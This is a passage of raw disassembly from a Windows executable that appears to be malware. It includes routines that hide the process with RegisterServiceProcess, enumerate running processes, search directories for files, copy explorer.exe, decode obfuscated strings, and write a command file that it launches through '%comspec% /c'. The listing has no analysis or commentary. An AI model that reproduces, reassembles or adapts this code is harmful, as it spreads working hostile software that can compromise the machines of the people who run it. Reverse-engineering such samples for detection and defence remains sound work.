		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2880000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2870000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		nop
		call	near ptr 286073Fh
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2880000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2870000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 286073Fh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 288196Fh
		push	eax
		call	near ptr 2881019h
		nop
		mov	eax, dword_449080
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44907C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F48
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449078, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F50
		push	eax
		xor	ebp, ebp
		mov	dword_448F50, 128h
		call	dword_44907C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F74
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F74
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F74
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F74
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F74
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449078
		push	offset dword_448F50
		push	eax
		call	dword_448F48	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449078
		push	ecx
		nop
		call	near ptr 2840881h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2890C30h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		call	near ptr 289071Fh
		nop
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2890000h
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		call	near ptr 288196Fh
		nop
		push	eax
		call	near ptr 2881019h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 27F0920h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449084, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449080, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44907C, eax
		call	edi
		mov	dword_448F48, eax
		mov	eax, dword_449084
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44916F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	20680000h, 5100444Bh, 1E8E1DE8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
		dd 243262Ch, 24848D90h,	9Ch, 8D50006Ah,	0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B18h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 3FE80000h, 90023F2Bh, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449171
		test	al, al
		jz	short loc_40DC04
		push	offset word_449172
		nop
		call	near ptr 27F0CA3h


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 288196Fh
		nop
		push	eax
		nop
		call	near ptr 2881019h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27E0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	sub_5F67AE
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 286040Bh
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27F0000h
		push	esi
		nop
		call	near ptr 2840881h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 288196Fh
		nop
		push	eax
		call	near ptr 2881019h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5F67AE
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2810000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		call	near ptr 28005B2h
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
